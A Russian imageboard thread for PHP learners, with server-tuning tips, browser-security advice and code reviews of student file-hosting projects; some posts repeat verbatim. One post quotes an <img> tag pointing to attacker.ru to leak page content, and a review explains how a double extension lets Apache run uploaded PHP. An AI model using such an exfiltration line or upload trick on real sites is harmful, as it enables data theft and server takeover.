- включи кешер ОП-кода (opcache) который с PHP5.5 по моему идет в комплекте. Без кешера у тебя половина времени будет уходить на компиляцию интерпретатором PHP одних и тех же скриптов.

До 5.5 можно использовать APC, Xcache или что-нибудь аналогичное, но стоит помнить что иногда они вызывают баги. Я помню случай когда кешер опкода ронял рабочий процесс Апача пытаясь закешировать файл из состава ZF.

В кешере можешь включить режим когда он не перепроверяет дату модификации каждый раз, а только раз в N секунд. На продакшен серверах обычно ставят N = 30, 60 или больше секунд. Разумеется тебе также понадобится скрипт сброса этого кеша (команда opcache_reset() ) если ты отредактировал какой-то файл.

Не забудь выделить достаточный объем памяти, чтобы все скрипты влезли в кеш. Проверить, достаточно ли памяти и эффективно ли используется кеш, можно утилитой вроде этой: https://github.com/rlerdorf/opcache-status

После настройки PHP настрой кеши в Юи. Начать можно с советов отсюда: http://www.yiiframework.com/doc/guide/1.1/en/topics.performance

Ты должен смотреть что памяти хватает (те есть свободная) и что отношение hit/miss высокое. Если для каких-то ключей в кеше мало hit/miss значит кешировать эти данные нет особого смысла.

Не стоит кешировать все подряд. Кешировать метаданные таблиц - хорошая идея, так как это не влияет на логику приложения (структура базы меняется редко), а вот кешировать страницу- другое дело так как появляются вопросы как сбрасывать этот кеш, как не отдать неактуальные данные, и тд, и лучшее решение тут избегать использования кеширования.

Ну и конечно много зависит от настроек mysql. Посмотри конфиг сервера БД и выдели ей память под кеш запросов и innodb buffer pool.

Если твое приложение крутится под линуксом, есть набор утилит, которые позволяют видеть загрузку сети, диска, искать узкие места: http://habrahabr.ru/post/114082/ - рекомендую освоить.

Под Windows помониторь ситуацию хотя бы диспетчером задач, смотри как загружен процессор, как используется память, нет ли свопа.

В общем, как будут цифры, будем смотреть что делать дальше.
#117 #560019
>>560013

Могут заразить, из-за ошибок в коде браузеров они могут вместо отображения данных из HTMl/CSS/JS файлов, поместить их в память и выполнить (а далее оттуда можно сделать многое).

К счастью, современные браузеры имеют средства защиты. Самая лучшая пока в Хроме, там код обрабатывающий страницы, выполняется в песочнице с кучей ограничений.

Кроме браузера, векторами атаки могут быть плагины браузера, которые защищены хуже и код в которых может быть плохого качества. Плагин Ява и Флеш, Adobe Pdf Reader используются наиболее часто. В Хроме, впрочем, флеш тоже засунули в песочницу и сделали свой плагин для просмотра pdf.

Также иногда атакуют через атаку на системные компоненты, которые использует браузер.

Наконец источником заразы могут быть расширения к браузеру - их код никто не проверяет, и бывает такое что добропорядочное расширение продается злодеям которые меняют в нем начинку. Не заходи в интернет-банк с включенными расширениями.

Потому могу дать такие советы:

- используй Хром (или другой браузер имеющий архитектуру с песочницей, я впрочем других не знаю)
- используй браузер самой последней версии, и не забывай обновлять ОС
- если ты используешь виндоус, попробуй сидеть не под администратором, а под обычным пользователем без прав. В таком случае при заражении вирус заразит только доступные тебе файлы, а не всю систему
- включи в системе DEP, ASLR (сильно усложняют выполнение вредоносного кода), UAC
- если тебе пришлось использовать IE, установи для него в настройках Специальный «расширенный защищенный режим» (Enhanced Protected Mode)
- отключи ява-плагин во всех браузерах (он почти нигде не нужен, а решето то еще), silverlight, PdfReader а также, если можешь жить без него, флеш (или отключи везде кроме нескольких сайтов где он нужен)

Если следовать этим рекомендациям, вряд ли тебя заразят и ты можешь посещать любые самые неблагонадежные сайты (только не запускай ничего и не устанавливай расширения). Эксплойт который сможет пробить все слои защиты, стоит очень дорого (десятки тысяч долларов) и доступен только государственным организациям, а не хакерам-школьникам набирающим ботнет для спама.

Вот конкурс, на котором хакеры взламывают защиту браузеров: http://habrahabr.ru/company/eset/blog/253727/

Как видишь за Хром дают самый большой приз.

Вот статьи с хабра, описывающие способы заражения через браузер, там тоже есть рекомендации по защите:

http://habrahabr.ru/company/eset/blog/261979/
http://habrahabr.ru/company/eset/blog/200156/
http://habrahabr.ru/post/150331/
https://www.google.com/search?q=habr+%D0%B1%D1%80%D0%B0%D1%83%D0%B7%D0%B5%D1%80+%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D0%BE%D0%B9%D1%82%D1%8B&ie=UTF-8

> но неплохо бы и дать понять, в какую сторону копать


Нет
#117 #560019
>>560013

Могут заразить, из-за ошибок в коде браузеров они могут вместо отображения данных из HTMl/CSS/JS файлов, поместить их в память и выполнить (а далее оттуда можно сделать многое).

К счастью, современные браузеры имеют средства защиты. Самая лучшая пока в Хроме, там код обрабатывающий страницы, выполняется в песочнице с кучей ограничений.

Кроме браузера, векторами атаки могут быть плагины браузера, которые защищены хуже и код в которых может быть плохого качества. Плагин Ява и Флеш, Adobe Pdf Reader используются наиболее часто. В Хроме, впрочем, флеш тоже засунули в песочницу и сделали свой плагин для просмотра pdf.

Также иногда атакуют через атаку на системные компоненты, которые использует браузер.

Наконец источником заразы могут быть расширения к браузеру - их код никто не проверяет, и бывает такое что добропорядочное расширение продается злодеям которые меняют в нем начинку. Не заходи в интернет-банк с включенными расширениями.

Потому могу дать такие советы:

- используй Хром (или другой браузер имеющий архитектуру с песочницей, я впрочем других не знаю)
- используй браузер самой последней версии, и не забывай обновлять ОС
- если ты используешь виндоус, попробуй сидеть не под администратором, а под обычным пользователем без прав. В таком случае при заражении вирус заразит только доступные тебе файлы, а не всю систему
- включи в системе DEP, ASLR (сильно усложняют выполнение вредоносного кода), UAC
- если тебе пришлось использовать IE, установи для него в настройках Специальный «расширенный защищенный режим» (Enhanced Protected Mode)
- отключи ява-плагин во всех браузерах (он почти нигде не нужен, а решето то еще), silverlight, PdfReader а также, если можешь жить без него, флеш (или отключи везде кроме нескольких сайтов где он нужен)

Если следовать этим рекомендациям, вряд ли тебя заразят и ты можешь посещать любые самые неблагонадежные сайты (только не запускай ничего и не устанавливай расширения). Эксплойт который сможет пробить все слои защиты, стоит очень дорого (десятки тысяч долларов) и доступен только государственным организациям, а не хакерам-школьникам набирающим ботнет для спама.

Вот конкурс, на котором хакеры взламывают защиту браузеров: http://habrahabr.ru/company/eset/blog/253727/

Как видишь за Хром дают самый большой приз.

Вот статьи с хабра, описывающие способы заражения через браузер, там тоже есть рекомендации по защите:

http://habrahabr.ru/company/eset/blog/261979/
http://habrahabr.ru/company/eset/blog/200156/
http://habrahabr.ru/post/150331/
https://www.google.com/search?q=habr+%D0%B1%D1%80%D0%B0%D1%83%D0%B7%D0%B5%D1%80+%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D0%BE%D0%B9%D1%82%D1%8B&ie=UTF-8

> но неплохо бы и дать понять, в какую сторону копать


Нет
#118 #560021
>>559998

Ну и тебе наверняка любопытно почитать про хайлоад проекты, как они устроены, чем отличаются от твоего сайта на Юи. Держи 2 хороших сайта с ознакомительной информацией по теме высоких нагрузок (может я эти ссылки давал выше, не помню):

http://www.insight-it.ru/highload/
http://ruhighload.com/post/%D0%90%D1%80%D1%85%D0%B8%D1%82%D0%B5%D0%BA%D1%82%D1%83%D1%80%D0%B0+%D0%B2%D1%8B%D1%81%D0%BE%D0%BA%D0%B8%D1%85+%D0%BD%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BE%D0%BA

По моему так очень интересные сайты.

Только не бросайся все это бездумно добавлять на свой сайт. Оптимизация всегда начинается с анализа и измерений, а не прикручивания какой-нибудь модной штуки.
#119 #560022
>>560019
Ааа, я считаю нужно побольше инфы про безопасность давать, а то требуют замораживание ДДОС атаки, защиту от XSS.
Еще я прочитал, что браузер сохраняет пароли (если жмешь ок) где-то на компе прямо в файле .тхт в куках. А где эта папка, не подскажешь? хочу ее почистить.
#120 #560023
>>560022

Ты можешь их удалить нажав Ctrl + Shift + Del (в Хроме и ФФ) и выбрав «удалить пароли за все время». Также в Хроме пароли ты можешь просмотреть в настройках.

Файл лежит где-то в профиле (c:/users/vasya/Application Data) и там используется какое-то примитивное шифрование с привязкой к компьютеру, но вирус наверно может его расшифровать и украсть пароли.

ну это Хром шифрует, а многие другие программы сохраняют пароли открытым текстом. Я никакие важные пароли никогда не сохраняю.

> защиту от XSS.


Если ты про уязвимость XSS в веб приложениях, то у меня есть урок по ней: https://github.com/codedokode/pasta/blob/master/security/xss.md
#121 #560024
>>559838
Ужасно ужасно, почитай книгу про ООП, посмотри код местных, изучи Актив рекорд и дата маппер и прочие паттерны.
#122 #560025
>>560024

Кстати ОП как раз вчера переписал и дополнил урок про паттерны для работы с БД в ООП приложениях: https://github.com/codedokode/pasta/blob/master/db/patterns-oop.md
#123 #560036
>>560019
<img src=”http://attacker.ru?c=пизженный контент

Не понял, как данные получить из такого урл?
https://github.com/V3N0m21/Uppu3/ #124 #560040
>>555695

Анон, код у тебя кривой.

В репозитории лежат лишние файлы:

https://github.com/V3N0m21/Uppu3/blob/master/app/bootstrap2.php
https://github.com/V3N0m21/Uppu3/blob/master/app/Resource/UserResource.php
https://github.com/V3N0m21/Uppu3/blob/master/cli-config.php

Может еще какие-то, надо пройтись и почистить.

> https://github.com/V3N0m21/Uppu3/blob/master/app/bootstrap.php#L13


Тут опечатка, Commmon вместо Common, и почему Memcache? Надо вписать FilesystemCache который работает на файлах и не требует ничего.

Далее, нет файла README.md в котором кратко было бы написано что надо сделать для установки (запустить composer, куда прописать доступы к базе, какие дампы залить).

Нет дампа для таблицы users. В тех дампах, что есть, нет комментариев, например что значит поле children у comments? Хотя по моему это просто ошибочное поле.

Для времени добавления лучше использовать TIMESTAMP - он позволяет указать DEFAULT CURRENT_TIMESTAMP и проставлять время автоматически.

Если все это исправить, и попробовать зайти на главную, то все падает с ошибкой:

> Fatal error: Call to a member function getLogin() on a non-object in \public\index.php on line 32



Затем с ошибкой

> Declaration of Uppu3\Type\MediaInfoType::convertToDatabaseValue() should be compatible with Doctrine\DBAL\Types\Type::convertToDatabaseValue($value, Doctrine\DBAL\Platforms\AbstractPlatform $platform)



И действительно, если сравнить твой метод и метод доктрины, они разные:

public function convertToDatabaseValue($value, AbstractPlatform $platform)
public function convertToDatabaseValue(\Uppu3\Entity\MediaInfo $mediaInfo) {

Ты код проверял? Исправь все ошибки и проверь что код разворачивается на чистом виртуальном хосте и чистой базе.

Далее, загруженные файлы не переименовываются корректно: получается имя вроде upload/123-name.php.xxx-txt. Апач при попытке открыть такой файл через браузер не поймет расширение «xxx-txt» и перейдет к расширению php которое он понимает, и выполнит код.

Также, ты сохраняешь в базу запись о файле до того как файл сохранен, если будет ошибка в процессе копирования, мы получим запись в базе без соответствующего файла, это надо исправить (например попробовать засунуть все это в транзакцию и коммитить ее только после копирования файла, но надо проверить как к этому отнесется доктрина).

Далее, настройки соединения с базой надо вынести из index.php в файл config.php, который можно положить в папку app.

Дизайн главной симпатичный. Но при клике на «войти» выпадает страница 404.

Далее, у тебя в шаблонах перемешаны английские сообщения с русскими. Это смотрится ужасно, выбери какой-то один язык. Или, если ты хочешь посложнее, напиши мне и я скажу как сделать поддержку и переключение 2 языков с использованием популярной библиотеки gettext (это будет довольно интересная задачка, я думаю).

Сообщение об ошибке (You didn't select any file) надо выделить красным цветом, используй класс alert-error из бутстрапа. Ну и вообще, открой сайт про бутстрап (есть русский перевод), и просто прочитай какие вообще там возможности есть, чтобы знать.

Поле для комментария не маловато?

> <script src="//code.jquery.com/jquery-1.11.3.min.js">


Не стоит подключать библиотеки с внешних серверов, ибо твой сайт будет лежать вместе с ними. Это конечно учебная задача, но чтобы не привыкать к вредным привычкам, стоит все же скачать библиотеку к себе. Увы, для этого нет удобного менеджера вроде композера (есть bower, но с ним много возни).

> https://github.com/V3N0m21/Uppu3/blob/master/app/bootstrap.php#L52


> $deleted = $cache->deleteAll();


Вместо того чтобы чистить кеш ты можешь поставить ArrayCache который держит кеш в обычном массиве и очищается по завершении скрипта. Ну и такие настройки (какой кеш использовать) тоже стоит выносить в конфиг чтобы на продакшен не выкладывать код с отключенным кешем. Туда же надо вынести настройку про автогенерацию прокси-объектов ($isDevMode)

далее, настрой свой редактор чтобы он заменял таб на 4 пробела, а то код разъезжается: https://github.com/V3N0m21/Uppu3/blob/master/public/index.php (этот файл неплохо бы отформатировать)

> https://github.com/V3N0m21/Uppu3/blob/master/public/index.php#L28


Нет смысла искать пользователя если мы только что сгенерировали для него куку. Также, назвать кук надо по-другому, потому что salt это обычно соль для пароля, хранится в базе, и непонятно какое она имеет отношение к кукам.

Название куки надо вынести в константу. А еще лучше, вообще работу с этой кукой вынести в методы с понятными названиями (там наверно будет один метод - получить или сгенерировать куку) в каком-нибудь классе, например UserHelper. То есть инкапсулировать в одном месте, а не размазывать по всему index.php

У тебя есть форма на главной странице (форма загрузки файла), и ты явно не следовал алгоритму обработки форм из моих уроков, так как сделал в Слиме 2 обработчика, для GET и для POST и конечно в них одна копипаста. Надо объединить их вместе.

Аналогично надо объединить обработчики для /register.

В обработчике добавления комментария /send/:id надо сделать валидацию отправляемых данных, а в коде который его вызывает - прием и вывод сообщений об ошибке.

Хелперы, у которых есть зависимости (например UserHelper) надо переделать на нестатические методы. Статические методы только ухудшают код, так как ты должен передавать в метод лишние аргументы вроде $em, которые удобнее передавать через конструктор. Сами хелперы сделать синглтонами в Слиме. Вот урок по теме: https://gist.github.com/codedokode/e1d31a31b37d5f635057

HashGenerator и FormatHelper можно оставить на статических методах, там они уместны.

В методе formatDownloadLink($id, $name) имя файла кодируется urlencode, а в formatDownloadFile($id, $name) - нет. Почему?

> https://github.com/V3N0m21/Uppu3/blob/master/app/Helper/Resize.php#L36


Тут должен быть либо убедительный комментарий зачем здесь нужна @ (вполне возможно что действительно нужна), либо ее тут не должно быть. И так в любом месте где используется @.

> https://github.com/V3N0m21/Uppu3/blob/master/app/Helper/HashGenerator.php#L8


Если это соль для соления пароля то в ней должны быть спецсимволы, да побольше. Это нужно чтобы усложнить данные из которых получается хеш и сделать предвычисленные таблицы хешей менее эффективными (в них как правило используется ограниченное число символов).

> https://github.com/V3N0m21/Uppu3/blob/master/app/Helper/UserValidator.php


Мне не нравится что тут код массиво-ориентированный. Массивы тут зло так как непонятно какой они должны быть структуры, нет никаких проверок что они правильные, в общем это верный путь к ошибкам. Можно ли сделать чтобы валидатор работал с моделью User? Я понимаю, что в User нет ни пароля, ни подтверждения, ну значит их можно оставить в массиве.

Просто тогда мы получим более универсальный валидатор которым можно проверить любого пользователя на правильность.

Вместо обращения к _POST надо работать с $app->request.

В обработчике загрузки файла я не вижу метода валидации данных. Ведь кроме отстутсвия файла, возможны другие ошибки: http://php.net/manual/ru/features.file-upload.errors.php
https://github.com/V3N0m21/Uppu3/ #124 #560040
>>555695

Анон, код у тебя кривой.

В репозитории лежат лишние файлы:

https://github.com/V3N0m21/Uppu3/blob/master/app/bootstrap2.php
https://github.com/V3N0m21/Uppu3/blob/master/app/Resource/UserResource.php
https://github.com/V3N0m21/Uppu3/blob/master/cli-config.php

Может еще какие-то, надо пройтись и почистить.

> https://github.com/V3N0m21/Uppu3/blob/master/app/bootstrap.php#L13


Тут опечатка, Commmon вместо Common, и почему Memcache? Надо вписать FilesystemCache который работает на файлах и не требует ничего.

Далее, нет файла README.md в котором кратко было бы написано что надо сделать для установки (запустить composer, куда прописать доступы к базе, какие дампы залить).

Нет дампа для таблицы users. В тех дампах, что есть, нет комментариев, например что значит поле children у comments? Хотя по моему это просто ошибочное поле.

Для времени добавления лучше использовать TIMESTAMP - он позволяет указать DEFAULT CURRENT_TIMESTAMP и проставлять время автоматически.

Если все это исправить, и попробовать зайти на главную, то все падает с ошибкой:

> Fatal error: Call to a member function getLogin() on a non-object in \public\index.php on line 32



Затем с ошибкой

> Declaration of Uppu3\Type\MediaInfoType::convertToDatabaseValue() should be compatible with Doctrine\DBAL\Types\Type::convertToDatabaseValue($value, Doctrine\DBAL\Platforms\AbstractPlatform $platform)



И действительно, если сравнить твой метод и метод доктрины, они разные:

public function convertToDatabaseValue($value, AbstractPlatform $platform)
public function convertToDatabaseValue(\Uppu3\Entity\MediaInfo $mediaInfo) {

Ты код проверял? Исправь все ошибки и проверь что код разворачивается на чистом виртуальном хосте и чистой базе.

Далее, загруженные файлы не переименовываются корректно: получается имя вроде upload/123-name.php.xxx-txt. Апач при попытке открыть такой файл через браузер не поймет расширение «xxx-txt» и перейдет к расширению php которое он понимает, и выполнит код.

Также, ты сохраняешь в базу запись о файле до того как файл сохранен, если будет ошибка в процессе копирования, мы получим запись в базе без соответствующего файла, это надо исправить (например попробовать засунуть все это в транзакцию и коммитить ее только после копирования файла, но надо проверить как к этому отнесется доктрина).

Далее, настройки соединения с базой надо вынести из index.php в файл config.php, который можно положить в папку app.

Дизайн главной симпатичный. Но при клике на «войти» выпадает страница 404.

Далее, у тебя в шаблонах перемешаны английские сообщения с русскими. Это смотрится ужасно, выбери какой-то один язык. Или, если ты хочешь посложнее, напиши мне и я скажу как сделать поддержку и переключение 2 языков с использованием популярной библиотеки gettext (это будет довольно интересная задачка, я думаю).

Сообщение об ошибке (You didn't select any file) надо выделить красным цветом, используй класс alert-error из бутстрапа. Ну и вообще, открой сайт про бутстрап (есть русский перевод), и просто прочитай какие вообще там возможности есть, чтобы знать.

Поле для комментария не маловато?

> <script src="//code.jquery.com/jquery-1.11.3.min.js">


Не стоит подключать библиотеки с внешних серверов, ибо твой сайт будет лежать вместе с ними. Это конечно учебная задача, но чтобы не привыкать к вредным привычкам, стоит все же скачать библиотеку к себе. Увы, для этого нет удобного менеджера вроде композера (есть bower, но с ним много возни).

> https://github.com/V3N0m21/Uppu3/blob/master/app/bootstrap.php#L52


> $deleted = $cache->deleteAll();


Вместо того чтобы чистить кеш ты можешь поставить ArrayCache который держит кеш в обычном массиве и очищается по завершении скрипта. Ну и такие настройки (какой кеш использовать) тоже стоит выносить в конфиг чтобы на продакшен не выкладывать код с отключенным кешем. Туда же надо вынести настройку про автогенерацию прокси-объектов ($isDevMode)

далее, настрой свой редактор чтобы он заменял таб на 4 пробела, а то код разъезжается: https://github.com/V3N0m21/Uppu3/blob/master/public/index.php (этот файл неплохо бы отформатировать)

> https://github.com/V3N0m21/Uppu3/blob/master/public/index.php#L28


Нет смысла искать пользователя если мы только что сгенерировали для него куку. Также, назвать кук надо по-другому, потому что salt это обычно соль для пароля, хранится в базе, и непонятно какое она имеет отношение к кукам.

Название куки надо вынести в константу. А еще лучше, вообще работу с этой кукой вынести в методы с понятными названиями (там наверно будет один метод - получить или сгенерировать куку) в каком-нибудь классе, например UserHelper. То есть инкапсулировать в одном месте, а не размазывать по всему index.php

У тебя есть форма на главной странице (форма загрузки файла), и ты явно не следовал алгоритму обработки форм из моих уроков, так как сделал в Слиме 2 обработчика, для GET и для POST и конечно в них одна копипаста. Надо объединить их вместе.

Аналогично надо объединить обработчики для /register.

В обработчике добавления комментария /send/:id надо сделать валидацию отправляемых данных, а в коде который его вызывает - прием и вывод сообщений об ошибке.

Хелперы, у которых есть зависимости (например UserHelper) надо переделать на нестатические методы. Статические методы только ухудшают код, так как ты должен передавать в метод лишние аргументы вроде $em, которые удобнее передавать через конструктор. Сами хелперы сделать синглтонами в Слиме. Вот урок по теме: https://gist.github.com/codedokode/e1d31a31b37d5f635057

HashGenerator и FormatHelper можно оставить на статических методах, там они уместны.

В методе formatDownloadLink($id, $name) имя файла кодируется urlencode, а в formatDownloadFile($id, $name) - нет. Почему?

> https://github.com/V3N0m21/Uppu3/blob/master/app/Helper/Resize.php#L36


Тут должен быть либо убедительный комментарий зачем здесь нужна @ (вполне возможно что действительно нужна), либо ее тут не должно быть. И так в любом месте где используется @.

> https://github.com/V3N0m21/Uppu3/blob/master/app/Helper/HashGenerator.php#L8


Если это соль для соления пароля то в ней должны быть спецсимволы, да побольше. Это нужно чтобы усложнить данные из которых получается хеш и сделать предвычисленные таблицы хешей менее эффективными (в них как правило используется ограниченное число символов).

> https://github.com/V3N0m21/Uppu3/blob/master/app/Helper/UserValidator.php


Мне не нравится что тут код массиво-ориентированный. Массивы тут зло так как непонятно какой они должны быть структуры, нет никаких проверок что они правильные, в общем это верный путь к ошибкам. Можно ли сделать чтобы валидатор работал с моделью User? Я понимаю, что в User нет ни пароля, ни подтверждения, ну значит их можно оставить в массиве.

Просто тогда мы получим более универсальный валидатор которым можно проверить любого пользователя на правильность.

Вместо обращения к _POST надо работать с $app->request.

В обработчике загрузки файла я не вижу метода валидации данных. Ведь кроме отстутсвия файла, возможны другие ошибки: http://php.net/manual/ru/features.file-upload.errors.php
https://github.com/blackberryJam/filehosting/ #125 #560045
>>556104

У меня конечно есть ощущение что все как-то сложновато получилось, идея микрофреймворка в том, что инициализация, контроллеры все помещаются в index.php, а у тебя там многовато кода, такое ощущение что тебе уже нужен не микрофреймворк. Ну да ладно, не вижу пока особой проблемы, контроллеры так контроллеры.

> https://github.com/blackberryJam/filehosting/blob/master/.gitignore#L4


> composer.lock


Этот файл как раз надо коммитить. Идея в том что разработчик пишет composer.json, затем делает install (при котором композер пишет конкретные версии в composer.lock), убеждается что все работает и релизит код. Когда он хочет обновить версии зависимостей, он делает composer update, и коммитит обновленный composer.lock. И таким образом все, кто пользуется кодом, используют проверенные и работающие версии библиотек.

> https://github.com/blackberryJam/filehosting/blob/master/composer.json#L19


> "": ""


зачем?

> https://github.com/blackberryJam/filehosting/blob/master/filehosting.sql#L12


> `file_id` int(11) DEFAULT NULL,


DEFAULT NULL значит что комментарий может не относиться к файлу? Проверь также ограничения NULL/NOT NULL на других колонках.

> https://github.com/blackberryJam/filehosting/blob/master/filehosting.sql#L36


> `size` varchar(15)


Ты размер текстом хранишь? Как ты собрался складывать 15 Мб + 12 Кб?

По комментариям - какую схему исплоьзуешь для древовидности из https://github.com/codedokode/pasta/blob/master/db/trees.md ?

В таблице пользователей я вижу хеш пароля, а хеш соленый? Урок, если что: https://gist.github.com/codedokode/9576319

Не очень понимю разницу между bootstrap.php и app.php, а также кодом инициализации в index.php. Если разницы нет, стоит их объединить в один файл. А в index.php оставить реквайры и $app->run();

Параметры соединения с базой, а также настройку devMode для доктрины надо вынести в config.php (или config.ini, config.json, config.yml - как тебе больше нравится).

> https://github.com/blackberryJam/filehosting/blob/master/app/app.php#L22


Я не думаю, что «текущий юзер» это сервис так как он может меняться (юзер залогинился/вылогинился). Не надо его делать сервисом, надо получать его из login_manager

Аналогично $app['user.logged_in'] = false; незачем хранить в $app наверно. Или есть какие-то причины?

Еще, я не вижу системы по которой формируются имена сервисов. Должна же быть какая-то логика?

user.service.login_manager -> Filehosting\Service\UserLoginManager
user.service -> Filehosting\Service\UserService
file.service.thumb_generator -> Filehosting\Service\ThumbGenerator

Я советую тебе сделать единую систему, и попроще, например просто login_manager или service.login_manager.

Длинные строки вроде этой https://github.com/blackberryJam/filehosting/blob/master/app/app.php#L41 надо переносить как рекомендует PSR-2.

Насчет загрузки файла: думаю, логично с ней поступить как с обработкой формы, то есть сделать в сервисе 2 основных метода: валидация формы и обработка (сохранение файла).

Шаблоны надо убрать из общедоступной папки. В корень или в папку app.

https://github.com/blackberryJam/filehosting/blob/master/web/templates/upload.html#L21 - знак & в HTMl надо писать через мнемонику & amp ;

> https://github.com/blackberryJam/filehosting/blob/master/web/templates/upload.html#L21


лучше писать ссылку без хоста и протокола то есть href="/asas/asas"

> https://github.com/blackberryJam/filehosting/blob/master/web/scripts/drag%26drop%26upload.js#L18


не вижу тут обработки ошибок. Также, нужна индикация что идет отправка запроса (или она есть?), и блокировка кнопок на время отправки для защиты от двойной отправки.

Для передачи ответа наверно удобно использовать формат JSON, в нем можно передать и ссылку, и текст ошибки.

Также у тебя по моему нет проверки, что перетасиквается, один файл или несколько, или папка с файлами. проверь все эти сценарии.

И еще, а где классическое поле выбора файла?

Ну и вдобавок хорошо бы конечно для стареньких браузеров определять что они не поддерживают FormData с файлами, и оставлять для них обычную отправку формы.

> https://github.com/blackberryJam/filehosting/blob/master/web/templates/base.html#L45


> {% set lm = attribute(app, "user.service.login_manager") %}


Странный какой-то код

> https://github.com/blackberryJam/filehosting/blob/master/app/Controller/FileControllerProvider.php#L27


> 'file.service:getFileByIdOrCreateNewIfNotExists'


Я думаю, лучше не создавать новый пустой файл, а возвращать null. А то нелогично как-то, файла нет, зачем его создавать?

> https://github.com/blackberryJam/filehosting/blob/master/app/Controller/FileControllerProvider.php#L29


> $controllers->get('/{file}/remove', function(Application $app, Request $request, File $file) {


Метод GET нельзя применять для изменения данных на сервере, используй POST. На GET можно показывать только форму для удаления.

В ответ на успешный POST надо не показывать страницу, а делать редирект. Перечитай-ка урок про обработку форм.

> https://github.com/blackberryJam/filehosting/blob/master/app/Controller/FileControllerProvider.php#L60


> "attachment; filename=\"{$file->getOriginalName()}\"


Это не работает с русскими буквами так как в заголовках можно использовать только латинницу (есть стандарт для указания кодировки, он работает в новых браузерах). Кроссбраузерный метод задания имени файла для скачивания заключается в том что мы заканчиваем ссылку на него:

/download/123/название%20файла.txt

> https://github.com/blackberryJam/filehosting/blob/master/app/Controller/FileControllerProvider.php#L58


> "{$app['file.save_directory']}/{$file->getPath()}",


для формирования разных ссылок и путей надо сделать сервис или хелпер с методами, а не размазывать это по коду.

А, нельзя ли еще для тех у кого нету модуля X-SendFile, отдавать файл неэффективно, средствами PHP?

> https://github.com/blackberryJam/filehosting/blob/master/app/Controller/FileControllerProvider.php#L90


> createArrayOfValues


Ты можешь сильно уменьшить размер массива если передавать в шаблон не отдельные свойства файла, а сам объект $file. Вот это вот $file->getDateUpload()->format("Y-m-d, H:i:s"), однозначно должно быть в шаблоне а не в контроллере.

$mediaInfo надо сделать объектом, так как сейчас у тебя там массив и я не понимаю даже какие у него есть поля. Надо сделать объектом с известным набором полей, и нужными методами с понятными именами. Далее, надо сделать чтобы этот объект хранился внутри File и сохранялся/загружался из базы, автоматически кодируясь в JSON.

Картинку-превьюшку надо создавать только 1 раз либо при загрузке файла либо при первом обращении к ней.

> https://github.com/blackberryJam/filehosting/blob/master/app/Service/UserService.php#L162


Сообщения об ошибках надо сделать более информативными. Также, определись на каком языке сделан интерфейс сайта, русский или английский? Или может ты бы хотел научиться делать много-язычные страницы? Я могу дать подсказки как это реализовать.

Так, в общем твой проект выглядит интересно, Твиг, Доктрина, Silex, но порефакторить его придется еще немало.
https://github.com/blackberryJam/filehosting/ #125 #560045
>>556104

У меня конечно есть ощущение что все как-то сложновато получилось, идея микрофреймворка в том, что инициализация, контроллеры все помещаются в index.php, а у тебя там многовато кода, такое ощущение что тебе уже нужен не микрофреймворк. Ну да ладно, не вижу пока особой проблемы, контроллеры так контроллеры.

> https://github.com/blackberryJam/filehosting/blob/master/.gitignore#L4


> composer.lock


Этот файл как раз надо коммитить. Идея в том что разработчик пишет composer.json, затем делает install (при котором композер пишет конкретные версии в composer.lock), убеждается что все работает и релизит код. Когда он хочет обновить версии зависимостей, он делает composer update, и коммитит обновленный composer.lock. И таким образом все, кто пользуется кодом, используют проверенные и работающие версии библиотек.

> https://github.com/blackberryJam/filehosting/blob/master/composer.json#L19


> "": ""


зачем?

> https://github.com/blackberryJam/filehosting/blob/master/filehosting.sql#L12


> `file_id` int(11) DEFAULT NULL,


DEFAULT NULL значит что комментарий может не относиться к файлу? Проверь также ограничения NULL/NOT NULL на других колонках.

> https://github.com/blackberryJam/filehosting/blob/master/filehosting.sql#L36


> `size` varchar(15)


Ты размер текстом хранишь? Как ты собрался складывать 15 Мб + 12 Кб?

По комментариям - какую схему исплоьзуешь для древовидности из https://github.com/codedokode/pasta/blob/master/db/trees.md ?

В таблице пользователей я вижу хеш пароля, а хеш соленый? Урок, если что: https://gist.github.com/codedokode/9576319

Не очень понимю разницу между bootstrap.php и app.php, а также кодом инициализации в index.php. Если разницы нет, стоит их объединить в один файл. А в index.php оставить реквайры и $app->run();

Параметры соединения с базой, а также настройку devMode для доктрины надо вынести в config.php (или config.ini, config.json, config.yml - как тебе больше нравится).

> https://github.com/blackberryJam/filehosting/blob/master/app/app.php#L22


Я не думаю, что «текущий юзер» это сервис так как он может меняться (юзер залогинился/вылогинился). Не надо его делать сервисом, надо получать его из login_manager

Аналогично $app['user.logged_in'] = false; незачем хранить в $app наверно. Или есть какие-то причины?

Еще, я не вижу системы по которой формируются имена сервисов. Должна же быть какая-то логика?

user.service.login_manager -> Filehosting\Service\UserLoginManager
user.service -> Filehosting\Service\UserService
file.service.thumb_generator -> Filehosting\Service\ThumbGenerator

Я советую тебе сделать единую систему, и попроще, например просто login_manager или service.login_manager.

Длинные строки вроде этой https://github.com/blackberryJam/filehosting/blob/master/app/app.php#L41 надо переносить как рекомендует PSR-2.

Насчет загрузки файла: думаю, логично с ней поступить как с обработкой формы, то есть сделать в сервисе 2 основных метода: валидация формы и обработка (сохранение файла).

Шаблоны надо убрать из общедоступной папки. В корень или в папку app.

https://github.com/blackberryJam/filehosting/blob/master/web/templates/upload.html#L21 - знак & в HTMl надо писать через мнемонику & amp ;

> https://github.com/blackberryJam/filehosting/blob/master/web/templates/upload.html#L21


лучше писать ссылку без хоста и протокола то есть href="/asas/asas"

> https://github.com/blackberryJam/filehosting/blob/master/web/scripts/drag%26drop%26upload.js#L18


не вижу тут обработки ошибок. Также, нужна индикация что идет отправка запроса (или она есть?), и блокировка кнопок на время отправки для защиты от двойной отправки.

Для передачи ответа наверно удобно использовать формат JSON, в нем можно передать и ссылку, и текст ошибки.

Также у тебя по моему нет проверки, что перетасиквается, один файл или несколько, или папка с файлами. проверь все эти сценарии.

И еще, а где классическое поле выбора файла?

Ну и вдобавок хорошо бы конечно для стареньких браузеров определять что они не поддерживают FormData с файлами, и оставлять для них обычную отправку формы.

> https://github.com/blackberryJam/filehosting/blob/master/web/templates/base.html#L45


> {% set lm = attribute(app, "user.service.login_manager") %}


Странный какой-то код

> https://github.com/blackberryJam/filehosting/blob/master/app/Controller/FileControllerProvider.php#L27


> 'file.service:getFileByIdOrCreateNewIfNotExists'


Я думаю, лучше не создавать новый пустой файл, а возвращать null. А то нелогично как-то, файла нет, зачем его создавать?

